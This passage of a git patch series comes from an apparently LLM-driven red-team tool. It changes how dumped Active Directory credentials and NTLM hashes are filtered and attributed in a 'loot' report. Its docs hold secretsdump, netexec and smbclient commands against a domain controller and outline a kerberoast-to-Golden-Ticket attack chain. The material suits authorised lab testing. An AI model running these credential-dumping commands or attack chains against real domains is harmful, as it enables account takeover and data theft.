&str) -> bool { + if !domain.trim().is_empty() { + return false; + } + matches!( + username.to_lowercase().as_str(), + "administrator" | "guest" | "defaultaccount" | "wdagutilityaccount" + ) +} + +/// True if a credential should be surfaced in the loot JSON output. +pub(super) fn is_reportable_credential(c: &Credential) -> bool { + let username = c.username.trim(); + if username.is_empty() { + return false; + } + if is_machine_account(username) { + return false; + } + if is_noise_username(username) { + return false; + } + if is_local_sam_builtin(username, &c.domain) { + return false; + } + true +} + +/// True if a hash should be surfaced in the loot JSON output. +/// +/// Hashes whose `cracked_password` is set are dropped because the cracked +/// form is already emitted as a Credential — keeping the hash too produces +/// a duplicate finding under the same `target` with a different `evidence` +/// string, which scoreboards count as a separate (unmatched) finding. +pub(super) fn is_reportable_hash(h: &Hash) -> bool { + let username = h.username.trim(); + if username.is_empty() { + return false; + } + if is_machine_account(username) { + return false; + } + if is_noise_username(username) { + return false; + } + if is_local_sam_builtin(username, &h.domain) { + return false; + } + if h.cracked_password.is_some() { + return false; + } + true +} + +#[cfg(test)] +mod tests { + use super::*; + + fn cred(username: &str, domain: &str) -> Credential { + Credential { + id: "id".into(), + username: username.into(), + password: "P@ssw0rd!".into(), + domain: domain.into(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + fn hash(username: &str, domain: &str, cracked: Option<&str>) -> Hash { + Hash { + id: "id".into(), + username: username.into(), + hash_value: "deadbeef".into(), + hash_type: "NTLM".into(), + domain: domain.into(), + cracked_password: cracked.map(String::from), + source: String::new(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + } + } + + #[test] + fn keeps_real_user() { + assert!(is_reportable_credential(&cred("alice", "contoso.local"))); + assert!(is_reportable_hash(&hash("alice", "contoso.local", None))); + } + + #[test] + fn drops_machine_accounts() { + assert!(!is_reportable_credential(&cred("DC01$", "contoso.local"))); + assert!(!is_reportable_hash(&hash("DC01$", "contoso.local", None))); + // Even with a domain attached — secretsdump tags machine accounts to + // their host's FQDN, which is how the cross-domain duplicate appears. + assert!(!is_reportable_hash(&hash( + "WINTERFELL$", + "north.sevenkingdoms.local", + None + ))); + } + + #[test] + fn drops_krbtgt() { + assert!(!is_reportable_hash(&hash("krbtgt", "contoso.local", None))); + assert!(!is_reportable_hash(&hash("KRBTGT", "contoso.local", None))); + } + + #[test] + fn drops_local_sam_builtins() { + assert!(!is_reportable_credential(&cred("Guest", ""))); + assert!(!is_reportable_credential(&cred("DefaultAccount", ""))); + assert!(!is_reportable_credential(&cred("WDAGUtilityAccount", ""))); + // Empty-domain Administrator is local SAM, not Domain Admin. + assert!(!is_reportable_credential(&cred("Administrator", ""))); + } + + #[test] + fn keeps_domain_administrator() { + // Real DA always carries the FQDN — must not be dropped. + assert!(is_reportable_credential(&cred( + "Administrator", + "contoso.local" + ))); + } + + #[test] + fn drops_system_service_accounts() { + assert!(!is_reportable_credential(&cred("ssm-user", ""))); + assert!(!is_reportable_credential(&cred("ansible", "essos.local"))); + } + + #[test] + fn drops_cracked_hash_to_avoid_double_count() { + // Kerberoast/AS-REP blob whose password has been recovered: the cracked + // form is already emitted as a Credential; keep it from showing up + // twice in the loot report. + assert!(!is_reportable_hash(&hash( + "sql_svc", + "essos.local", + Some("CrackedPW!") + ))); + assert!(is_reportable_hash(&hash("sql_svc", "essos.local", None))); + } + + #[test] + fn drops_empty_username() { + assert!(!is_reportable_credential(&cred("", "contoso.local"))); + assert!(!is_reportable_hash(&hash("", "contoso.local", None))); + } +} From 76c36d83f209323c95d0f05f2f546a813d35d5ee Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 20:06:52 -0600 Subject: [PATCH 5/7] fix: update test and doc data to use realistic demo domains and IPs **Added:** - Introduced pre-scan logic in `output_extraction/hashes.rs` to infer the dumped domain/realm from evidence in NTDS dump output, avoiding phantom krbtgt attribution when the target differs from the actual dump realm - Added tests in `output_extraction/hashes.rs` to verify domain inference behavior for krbtgt attribution, including correct fallback to the default domain and selection of the most common prefix **Changed:** - Updated test fixtures and example data across codebase to use realistic demo domains (e.g., `child.contoso.local`, `fabrikam.local`) and IPs (e.g., `192.168.58.10`) instead of placeholder or inconsistent values such as `10.0.0.1` and `north.sevenkingdoms.local` - Modified test SMB banners, workgroup FQDNs, and related domain logic in `smb.rs`, `users.rs`, and `display.rs` to consistently use `WIN-ABCDEFGHIJK.WGRP.LOCAL` and similar - Aligned test arguments and discovery payloads in orchestrator and worker tests to use the new canonical IP/domain examples - Updated documentation in `docs/red.md` and `docs/strategy.md` to reflect the same IP and domain convention in code examples and scenario explanations **Removed:** - Eliminated references to fantasy or placeholder domains and IPs in test and documentation scenarios to prevent confusion and promote consistency with standard demo environments --- ares-cli/src/ops/loot/format/display.rs | 10 +- ares-cli/src/ops/loot/format/report_filter.rs | 10 +- .../orchestrator/output_extraction/hashes.rs | 91 +++++++++++++++++++ .../orchestrator/output_extraction/users.rs | 10 +- ares-cli/src/orchestrator/task_queue.rs | 4 +- .../src/orchestrator/tool_dispatcher/tests.rs | 22 ++--- .../src/worker/task_loop/result_handler.rs | 6 +- ares-cli/src/worker/tool_executor.rs | 6 +- ares-tools/src/parsers/smb.rs | 14 +-- docs/red.md | 22 ++--- docs/strategy.md | 7 +- 11 files changed, 147 insertions(+), 55 deletions(-) diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index f342e0a3..541e2e48 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -536,7 +536,7 @@ fn resolve_domain_fqdn(domain: &str, netbios_to_fqdn: &HashMap) /// /// Upstream parsers (`smb.rs`, `output_extraction::users`) drop these at /// ingest, but old loot already in state may still carry them. Without this -/// filter, a stray `krbtgt@win-xxx.59hv.local` row would flip the pseudo-domain +/// filter, a stray `krbtgt@win-xxx.wgrp.local` row would flip the pseudo-domain /// to "compromised" in the achievements rollup. /// /// Heuristic operates on a single domain string (no `(name:...)` context here): @@ -1119,11 +1119,11 @@ mod tests { fn build_domain_achievements_skips_workgroup_pseudo_domain() { // Old loot row from before the upstream parsers learned to drop // workgroup pseudo-domains: an attacker-box krbtgt entry tagged with - // the auto-generated WIN-XXX...59hv.local string. The achievements + // the auto-generated WIN-XXX...wgrp.local string. The achievements // rollup must NOT promote it to a "compromised domain" (DA). let state = empty_state(); let hashes = vec![ - make_hash("krbtgt", "win-mvbxbx7jbs6.59hv.local", "ntlm"), + make_hash("krbtgt", "win-abcdefghijk.wgrp.local", "ntlm"), make_hash("Administrator", "WORKGROUP", "ntlm"), // Real domain alongside the polluted ones must still come through. make_hash("krbtgt", "contoso.local", "ntlm"), @@ -1131,7 +1131,7 @@ mod tests { let credentials = vec![make_credential("admin", "win-abcdefghijk.local", true)]; let achievements = build_domain_achievements(&state, &hashes, &credentials); - assert!(!achievements.contains_key("win-mvbxbx7jbs6.59hv.local")); + assert!(!achievements.contains_key("win-abcdefghijk.wgrp.local")); assert!(!achievements.contains_key("workgroup")); assert!(!achievements.contains_key("win-abcdefghijk.local")); assert!(achievements.get("contoso.local").unwrap().has_da); @@ -1140,7 +1140,7 @@ mod tests { #[test] fn looks_like_workgroup_pseudo_domain_detects_win_prefix() { assert!(looks_like_workgroup_pseudo_domain( - "win-mvbxbx7jbs6.59hv.local" + "win-abcdefghijk.wgrp.local" )); assert!(looks_like_workgroup_pseudo_domain("WIN-ABCDEFGHIJK.local")); assert!(looks_like_workgroup_pseudo_domain("WORKGROUP")); diff --git a/ares-cli/src/ops/loot/format/report_filter.rs b/ares-cli/src/ops/loot/format/report_filter.rs index faa7905e..268a6d6e 100644 --- a/ares-cli/src/ops/loot/format/report_filter.rs +++ b/ares-cli/src/ops/loot/format/report_filter.rs @@ -139,8 +139,8 @@ mod tests { // Even with a domain attached — secretsdump tags machine accounts to // their host's FQDN, which is how the cross-domain duplicate appears. assert!(!is_reportable_hash(&hash( - "WINTERFELL$", - "north.sevenkingdoms.local", + "DC02$", + "child.contoso.local", None ))); } @@ -172,7 +172,7 @@ mod tests { #[test] fn drops_system_service_accounts() { assert!(!is_reportable_credential(&cred("ssm-user", ""))); - assert!(!is_reportable_credential(&cred("ansible", "essos.local"))); + assert!(!is_reportable_credential(&cred("ansible", "fabrikam.local"))); } #[test] @@ -182,10 +182,10 @@ mod tests { // twice in the loot report. assert!(!is_reportable_hash(&hash( "sql_svc", - "essos.local", + "fabrikam.local", Some("CrackedPW!") ))); - assert!(is_reportable_hash(&hash("sql_svc", "essos.local", None))); + assert!(is_reportable_hash(&hash("sql_svc", "fabrikam.local", None))); } #[test] diff --git a/ares-cli/src/orchestrator/output_extraction/hashes.rs b/ares-cli/src/orchestrator/output_extraction/hashes.rs index 06d3feec..087767c2 100644 --- a/ares-cli/src/orchestrator/output_extraction/hashes.rs +++ b/ares-cli/src/orchestrator/output_extraction/hashes.rs @@ -51,6 +51,29 @@ pub fn extract_hashes(output: &str, default_domain: &str) -> Vec { i += 1; } + // Pre-scan: infer the dump's actual realm from `DOMAIN\user:rid:lm:nt:::` + // rows in the same output. The task's `default_domain` is *intent* (what + // the orchestrator aimed at); domain-prefixed rows are *evidence* of what + // was really dumped. Trusting `default_domain` over the prefixed evidence + // creates phantom krbtgt entries whenever a credential_access task + // dispatched at e.g. fabrikam.local actually re-dumped a different realm's + // NTDS — every unprefixed `krbtgt:502:...:::` then gets attributed to the + // intended realm and dreadgoad falsely promotes it to "compromised". + // Take the most-common prefix; if none, fall back to default_domain. + let inferred_domain: Option = { + let mut counts: std::collections::HashMap = + std::collections::HashMap::new(); + for line in &unwrapped { + if let Some(caps) = RE_NTLM_DOMAIN.captures(line) { + let dom = caps.get(1).unwrap().as_str().trim().to_string(); + if !dom.is_empty() { + *counts.entry(dom).or_insert(0) += 1; + } + } + } + counts.into_iter().max_by_key(|(_, c)| *c).map(|(d, _)| d) + }; + for line in &unwrapped { // Priority: TGS → AS-REP → NTLM (first match wins) @@ -145,8 +168,14 @@ pub fn extract_hashes(output: &str, default_domain: &str) -> Vec { // with the AD `default_domain` or they masquerade as domain // accounts and collide cross-domain. krbtgt (RID 502) is excluded // because it's always an AD account. + // + // Domain attribution preference: dump-evidence (`inferred_domain` + // from any DOMAIN-prefixed rows in the same output) outranks + // task-intent (`default_domain`). See pre-scan above. let domain = if is_well_known_local_sam(username, rid) { String::new() + } else if let Some(ref inferred) = inferred_domain { + inferred.clone() } else { default_domain.to_string() }; @@ -422,4 +451,66 @@ WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef12345678 fn extract_cracked_passwords_empty() { assert!(extract_cracked_passwords("", "CONTOSO").is_empty()); } + + #[test] + fn unprefixed_krbtgt_inherits_dump_realm_not_default_domain() { + // Real-world bug: a credential_access task dispatched against + // `fabrikam.local` actually re-dumped a different DC's NTDS. The dump + // output has unprefixed `krbtgt:502:...` alongside + // `CHILD.CONTOSO.LOCAL\alice:...:::` rows. + // Pre-fix: krbtgt got tagged with `fabrikam.local` (task intent), + // creating a phantom krbtgt entry that flipped dreadgoad's "domain + // owned" for fabrikam. Post-fix: the prefixed rows in the same output + // are evidence the dump came from `CHILD.CONTOSO.LOCAL`, so the + // unprefixed krbtgt inherits THAT realm. + let output = "\ +[*] Dumping the NTDS, this could take a while +Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e993405ab82e4454afc9c9bb0939a25::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf::: +CHILD.CONTOSO.LOCAL\\alice:1119:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709::: +CHILD.CONTOSO.LOCAL\\bob:1106:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::"; + let hashes = extract_hashes(output, "fabrikam.local"); + let krbtgt = hashes + .iter() + .find(|h| h.username == "krbtgt") + .expect("krbtgt should be extracted"); + assert_eq!( + krbtgt.domain, "CHILD.CONTOSO.LOCAL", + "krbtgt must inherit the realm proven by the prefixed rows, NOT the task's default_domain" + ); + assert_ne!( + krbtgt.domain, "fabrikam.local", + "krbtgt must NOT be tagged with the task's intent domain when the dump is from another realm" + ); + } + + #[test] + fn unprefixed_krbtgt_uses_default_domain_when_no_prefixed_rows() { + // Sanity: when there are NO domain-prefixed rows, fall back to + // default_domain (existing behavior — covers older impacket dumps, + // `-just-dc-user krbtgt`, etc.). + let output = "\ +Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf:::"; + let hashes = extract_hashes(output, "contoso.local"); + let krbtgt = hashes.iter().find(|h| h.username == "krbtgt").unwrap(); + assert_eq!(krbtgt.domain, "contoso.local"); + } + + #[test] + fn inferred_domain_picks_most_common_prefix() { + // When multiple distinct prefixes appear, prefer the most common — + // that's the realm being dumped; the others are likely trust account + // references or stale rows from other contexts. + let output = "\ +CHILD.CONTOSO.LOCAL\\alice:1119:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709::: +CHILD.CONTOSO.LOCAL\\bob:1106:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8::: +CHILD.CONTOSO.LOCAL\\carol:1107:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5::: +CONTOSO\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:abcdef0011223344556677889900aabb::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf:::"; + let hashes = extract_hashes(output, "fabrikam.local"); + let krbtgt = hashes.iter().find(|h| h.username == "krbtgt").unwrap(); + assert_eq!(krbtgt.domain, "CHILD.CONTOSO.LOCAL"); + } } diff --git a/ares-cli/src/orchestrator/output_extraction/users.rs b/ares-cli/src/orchestrator/output_extraction/users.rs index 95e4bf88..2fa64a24 100644 --- a/ares-cli/src/orchestrator/output_extraction/users.rs +++ b/ares-cli/src/orchestrator/output_extraction/users.rs @@ -256,13 +256,13 @@ mod tests { fn extract_users_ignores_workgroup_domain_context() { // SMB banner from a non-domain-joined host (the attacker's own kali // box) appears in the same enumeration output as a real target. The - // workgroup `(domain:WIN-MVBXBX7JBS6.59HV.LOCAL)` must NOT overwrite + // workgroup `(domain:WIN-ABCDEFGHIJK.WGRP.LOCAL)` must NOT overwrite // `current_domain`, so the user extracted on the next line stays // attributed to the operator's intended `default_domain` rather than // a phantom AD realm. let output = "\ -SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [*] Windows 10 (name:WIN-MVBXBX7JBS6) (domain:WIN-MVBXBX7JBS6.59HV.LOCAL) (signing:False) -SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [+] user:[svc_local]"; +SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [*] Windows 10 (name:WIN-ABCDEFGHIJK) (domain:WIN-ABCDEFGHIJK.WGRP.LOCAL) (signing:False) +SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [+] user:[svc_local]"; let users = extract_users(output, "contoso.local"); let svc = users .iter() @@ -289,8 +289,8 @@ SMB 192.168.58.10 445 DC01 [+] user:[alice]"; #[test] fn is_workgroup_domain_detects_self_named() { assert!(is_workgroup_domain( - "WIN-MVBXBX7JBS6", - "WIN-MVBXBX7JBS6.59HV.LOCAL" + "WIN-ABCDEFGHIJK", + "WIN-ABCDEFGHIJK.WGRP.LOCAL" )); assert!(is_workgroup_domain("anything", "WORKGROUP")); assert!(!is_workgroup_domain("DC01", "contoso.local")); diff --git a/ares-cli/src/orchestrator/task_queue.rs b/ares-cli/src/orchestrator/task_queue.rs index 16fbc441..d69d6397 100644 --- a/ares-cli/src/orchestrator/task_queue.rs +++ b/ares-cli/src/orchestrator/task_queue.rs @@ -1018,7 +1018,7 @@ mod tests { "recon_abcdef123456", "recon", "scanner", - serde_json::json!({"target": "10.0.0.1"}), + serde_json::json!({"target": "192.168.58.10"}), "orchestrator", 5, ); @@ -1032,7 +1032,7 @@ mod tests { Some("ares.tasks.results.recon_abcdef123456"), ); assert!(msg.created_at.is_some()); - assert_eq!(msg.payload["target"], "10.0.0.1"); + assert_eq!(msg.payload["target"], "192.168.58.10"); } #[test] diff --git a/ares-cli/src/orchestrator/tool_dispatcher/tests.rs b/ares-cli/src/orchestrator/tool_dispatcher/tests.rs index 2a7e3b61..43d9c787 100644 --- a/ares-cli/src/orchestrator/tool_dispatcher/tests.rs +++ b/ares-cli/src/orchestrator/tool_dispatcher/tests.rs @@ -140,7 +140,7 @@ fn extract_credential_key_uses_unknown_when_domain_missing() { let call = ares_llm::ToolCall { id: "1".into(), name: "secretsdump".into(), - arguments: serde_json::json!({"username": "admin", "target": "10.0.0.1"}), + arguments: serde_json::json!({"username": "admin", "target": "192.168.58.10"}), }; let key = extract_credential_key(&call).expect("key extracted"); assert_eq!(key, "admin@unknown"); @@ -276,12 +276,12 @@ fn tool_exec_response_with_discoveries_field() { "call_id":"c", "output":"out", "error":null, - "discoveries":{"hosts":[{"ip":"10.0.0.1"}]} + "discoveries":{"hosts":[{"ip":"192.168.58.10"}]} }"#; let resp: ToolExecResponse = serde_json::from_str(json).unwrap(); assert!(resp.discoveries.is_some()); let disc = resp.discoveries.unwrap(); - assert_eq!(disc["hosts"][0]["ip"], "10.0.0.1"); + assert_eq!(disc["hosts"][0]["ip"], "192.168.58.10"); } #[test] @@ -385,7 +385,7 @@ async fn push_realtime_discoveries_pushes_credentials_with_input_context() { async fn push_realtime_discoveries_handles_multiple_types() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}], + "hosts": [{"ip": "192.168.58.10"}], "credentials": [{"username": "u"}], "hashes": [{"hash": "aad3..."}], "vulnerabilities": [{"id": "CVE-1"}], @@ -450,9 +450,9 @@ async fn push_realtime_discoveries_skips_non_array_fields() { async fn push_realtime_discoveries_no_input_context_when_args_lack_username() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}] + "hosts": [{"ip": "192.168.58.10"}] }); - let args = serde_json::json!({"target": "10.0.0.0/24"}); + let args = serde_json::json!({"target": "192.168.58.0/24"}); push_realtime_discoveries(&q, "op-5", &discoveries, "nmap_scan", &args).await; @@ -469,7 +469,7 @@ async fn push_realtime_discoveries_no_input_context_when_args_lack_username() { async fn push_realtime_discoveries_uses_user_alias_when_username_missing() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}] + "hosts": [{"ip": "192.168.58.10"}] }); // Some tools call it "user" instead of "username" let args = serde_json::json!({"user": "fallback_user", "domain": "d"}); @@ -583,14 +583,14 @@ fn build_tool_exec_request_carries_all_inputs() { "nmap_scan_abc".into(), "task-1", "nmap_scan", - serde_json::json!({"target": "10.0.0.1"}), + serde_json::json!({"target": "192.168.58.10"}), Some("00-trace-span-01".into()), Some("op-2026".into()), ); assert_eq!(req.call_id, "nmap_scan_abc"); assert_eq!(req.task_id, "task-1"); assert_eq!(req.tool_name, "nmap_scan"); - assert_eq!(req.arguments["target"], "10.0.0.1"); + assert_eq!(req.arguments["target"], "192.168.58.10"); assert_eq!(req.traceparent.as_deref(), Some("00-trace-span-01")); assert_eq!(req.operation_id.as_deref(), Some("op-2026")); } @@ -614,12 +614,12 @@ fn tool_exec_result_from_response_passes_through_all_fields() { call_id: "c".into(), output: "out".into(), error: None, - discoveries: Some(serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]})), + discoveries: Some(serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]})), }; let r = tool_exec_result_from_response(resp); assert_eq!(r.output, "out"); assert!(r.error.is_none()); - assert_eq!(r.discoveries.unwrap()["hosts"][0]["ip"], "10.0.0.1"); + assert_eq!(r.discoveries.unwrap()["hosts"][0]["ip"], "192.168.58.10"); } #[test] diff --git a/ares-cli/src/worker/task_loop/result_handler.rs b/ares-cli/src/worker/task_loop/result_handler.rs index 9ea651ac..03d92bbc 100644 --- a/ares-cli/src/worker/task_loop/result_handler.rs +++ b/ares-cli/src/worker/task_loop/result_handler.rs @@ -289,7 +289,7 @@ mod tests { #[test] fn build_task_result_success_merges_discoveries_into_payload() { let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}], + "hosts": [{"ip": "192.168.58.10"}], "credentials": [{"username": "alice"}], }); let ar = AgentResult { @@ -430,14 +430,14 @@ mod tests { #[test] fn build_running_status_extra_includes_all_metadata() { let cfg = worker_config_for_test(); - let payload = serde_json::json!({"target": "10.0.0.1"}); + let payload = serde_json::json!({"target": "192.168.58.10"}); let extra = build_running_status_extra(&cfg, "recon", &payload, "2026-04-29T20:00:00Z"); assert_eq!(extra["operation_id"], "op-2026"); assert_eq!(extra["role"], "recon"); assert_eq!(extra["agent_name"], "ares-recon-0"); assert_eq!(extra["pod_name"], "pod-0"); assert_eq!(extra["task_type"], "recon"); - assert_eq!(extra["payload"]["target"], "10.0.0.1"); + assert_eq!(extra["payload"]["target"], "192.168.58.10"); assert_eq!(extra["started_at"], "2026-04-29T20:00:00Z"); assert!(extra.get("ended_at").is_none()); } diff --git a/ares-cli/src/worker/tool_executor.rs b/ares-cli/src/worker/tool_executor.rs index 68f604ca..7c66720f 100644 --- a/ares-cli/src/worker/tool_executor.rs +++ b/ares-cli/src/worker/tool_executor.rs @@ -663,7 +663,7 @@ mod tests { #[test] fn discoveries_or_none_keeps_non_empty_object() { - let v = serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]}); + let v = serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]}); let kept = discoveries_or_none(v.clone()); assert!(kept.is_some()); assert_eq!(kept.unwrap(), v); @@ -711,7 +711,7 @@ mod tests { #[test] fn build_success_response_carries_discoveries_when_present() { - let disc = serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]}); + let disc = serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]}); let resp = build_success_response( "call-4", true, @@ -765,7 +765,7 @@ mod tests { #[test] fn count_discovery_entries_returns_per_type_counts() { let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}, {"ip": "10.0.0.2"}], + "hosts": [{"ip": "192.168.58.10"}, {"ip": "192.168.58.11"}], "credentials": [{"username": "alice"}], }); let mut entries = count_discovery_entries(&discoveries); diff --git a/ares-tools/src/parsers/smb.rs b/ares-tools/src/parsers/smb.rs index 537c0956..3619412b 100644 --- a/ares-tools/src/parsers/smb.rs +++ b/ares-tools/src/parsers/smb.rs @@ -12,7 +12,7 @@ static RE_DOMAIN: LazyLock = LazyLock::new(|| Regex::new(r"\(domain:([^)] /// True when `(name:X) (domain:Y)` from an SMB banner is a workgroup or /// self-named pseudo-domain rather than a real Kerberos realm. Non-domain-joined /// Windows hosts report their workgroup in the SMB `(domain:...)` field — e.g. -/// stock Windows installs return `(name:WIN-XXXX) (domain:WIN-XXXX.59HV.LOCAL)` +/// stock Windows installs return `(name:WIN-XXXX) (domain:WIN-XXXX.WGRP.LOCAL)` /// or `(domain:WORKGROUP)`. Treating these as AD domains poisons downstream /// credential attribution (e.g. tagging local SAM hashes with the workgroup /// string and inferring a phantom "compromised domain"). @@ -247,14 +247,14 @@ SMB 192.168.58.20 445 SRV01 [*] Windows Server 2016 Build 14393 x64 (name:SR #[test] fn extract_fqdn_skips_workgroup_self_named() { // Non-domain-joined Windows: SMB negotiation reports the host's own - // computer name as the (domain:...) value (here `WIN-MVBXBX7JBS6` is + // computer name as the (domain:...) value (here `WIN-ABCDEFGHIJK` is // both the (name:...) and the first label of the auto-generated // workgroup FQDN). Treating that as a Kerberos realm is what creates // phantom "compromised domain" entries downstream. - let line = "SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [*] Windows 10 Build 19045 x64 (name:WIN-MVBXBX7JBS6) (domain:WIN-MVBXBX7JBS6.59HV.LOCAL) (signing:False)"; + let line = "SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [*] Windows 10 Build 19045 x64 (name:WIN-ABCDEFGHIJK) (domain:WIN-ABCDEFGHIJK.WGRP.LOCAL) (signing:False)"; assert_eq!( - extract_fqdn_from_line(line, "WIN-MVBXBX7JBS6"), - "WIN-MVBXBX7JBS6" + extract_fqdn_from_line(line, "WIN-ABCDEFGHIJK"), + "WIN-ABCDEFGHIJK" ); } @@ -267,8 +267,8 @@ SMB 192.168.58.20 445 SRV01 [*] Windows Server 2016 Build 14393 x64 (name:SR #[test] fn is_workgroup_domain_detects_self_named() { assert!(is_workgroup_domain( - "WIN-MVBXBX7JBS6", - "WIN-MVBXBX7JBS6.59HV.LOCAL" + "WIN-ABCDEFGHIJK", + "WIN-ABCDEFGHIJK.WGRP.LOCAL" )); assert!(is_workgroup_domain("WORKGROUP", "WORKGROUP")); } diff --git a/docs/red.md b/docs/red.md index aad4882d..bb30e75b 100644 --- a/docs/red.md +++ b/docs/red.md @@ -272,7 +272,7 @@ The orchestrator dispatches reconnaissance tasks to RECON workers: ```text # Network discovery -dispatch_recon(task_type="network_scan", targets="10.0.0.0/24") +dispatch_recon(task_type="network_scan", targets="192.168.58.0/24") → RECON executes: nmap_scan - Discover live hosts and services # User enumeration (unauthenticated) @@ -411,11 +411,11 @@ NTLM hash obtained via `secretsdump`. This is the most thorough mode and the recommended default. **Important**: dominating a child domain does **not** count as dominating the -forest root. For example, obtaining `krbtgt` from `north.sevenkingdoms.local` -(child DC: winterfell) does **not** satisfy the `sevenkingdoms.local` forest -requirement. The forest root DC (kingslanding) must be separately compromised, -typically via trust escalation (ExtraSid attack using the trust key from the -child domain's `secretsdump` output). +forest root. For example, obtaining `krbtgt` from `child.contoso.local` (child +DC) does **not** satisfy the `contoso.local` forest requirement. The forest +root DC must be separately compromised, typically via trust escalation +(ExtraSid attack using the trust key from the child domain's `secretsdump` +output). The required forest roots are derived from: @@ -604,7 +604,7 @@ When any agent discovers a credential: │ Orchestrator│ ─────────────────────────────────▶│ CREDENTIAL_ACCESS│ │ │ │ │ │ "Found user │ task: secretsdump │ Runs secretsdump │ -│ with creds"│ target: 10.0.0.1 │ on DC │ +│ with creds"│ target: 192.168.58.10 │ on DC │ └─────────────┘ └────────┬─────────┘ │ ◀──────────────────────────────────────┘ @@ -687,19 +687,19 @@ Run the underlying tool binaries directly on the appropriate agent pod: ```bash # Run smbclient directly kubectl -n attack-simulation exec -it ares-credential-access-agent-0 -- \ - smbclient '//10.1.2.240/SYSVOL' -U 'DOMAIN/user%password' -c 'ls' + smbclient '//192.168.58.10/SYSVOL' -U 'DOMAIN/user%password' -c 'ls' # Run netexec directly (on recon agent - netexec is only installed there) kubectl -n attack-simulation exec -it ares-recon-agent-0 -- \ - netexec smb 10.1.2.240 -u 'user' -p 'password' -d 'DOMAIN' --shares + netexec smb 192.168.58.10 -u 'user' -p 'password' -d 'DOMAIN' --shares # Run secretsdump directly kubectl -n attack-simulation exec -it ares-credential-access-agent-0 -- \ - secretsdump.py 'DOMAIN/user:password@10.1.2.240' + secretsdump.py 'DOMAIN/user:password@192.168.58.10' # Run nmap directly kubectl -n attack-simulation exec -it ares-recon-agent-0 -- \ - nmap -sV --top-ports 1000 10.1.2.0/24 + nmap -sV --top-ports 1000 192.168.58.0/24 ``` #### Available Tools by Agent Pod diff --git a/docs/strategy.md b/docs/strategy.md index 0e875960..cbfad44f 100644 --- a/docs/strategy.md +++ b/docs/strategy.md @@ -72,8 +72,9 @@ operation: #### `fast` (default) Shortest path to Domain Admin. Prioritises secretsdump and trust escalation. -This is what produces the deterministic samwell -> jeor -> robb -> secretsdump --> trust key -> MSSQL -> Golden Ticket chain in DreadGOAD. +This is what produces the deterministic kerberoast → secretsdump → trust key → +MSSQL → Golden Ticket chain. (For the concrete chain shape against the GOAD +lab, see `docs/goad-checklist.md`.) | Technique | Weight | Effect | |-----------|--------|--------| @@ -319,7 +320,7 @@ These can also be passed in the JSON operation payload: { "operation_id": "op-20260421", "target_domain": "contoso.local", - "target_ips": ["10.0.0.1"], + "target_ips": ["192.168.58.10"], "strategy": "comprehensive", "technique_weights": {"esc1": 1, "secretsdump": 8}, "exclude_techniques": ["password_spray"], From f5f7e8e34a70ef99d15d9938eeb6e229aff89a6c Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 20:11:44 -0600 Subject: [PATCH 6/7] feat: display per-domain achievement counts in loot human output **Changed:** - Show domain admin and golden ticket achievement counts per domain in human-readable loot output, improving clarity for multi-domain environments - ares-cli/src/ops/loot/format/display.rs - Minor formatting adjustment to test for reportable credentials, improving readability - ares-cli/src/ops/loot/format/report_filter.rs - Minor code style update for hashmap initialization to a single line - ares-cli/src/orchestrator/output_extraction/hashes.rs --- ares-cli/src/ops/loot/format/display.rs | 22 +++++++++++++++++-- ares-cli/src/ops/loot/format/report_filter.rs | 5 ++++- .../orchestrator/output_extraction/hashes.rs | 3 +-- 3 files changed, 25 insertions(+), 5 deletions(-) diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index 541e2e48..ba1091fb 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -79,14 +79,32 @@ pub(super) fn print_loot_human( if state.has_domain_admin || state.has_golden_ticket { let mut lines = Vec::new(); + let total_domains = domains.len(); if state.has_domain_admin { - lines.push("\u{2605} DOMAIN ADMIN ACHIEVED".to_string()); + let da_count = achievements.values().filter(|a| a.has_da).count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} DOMAIN ADMIN 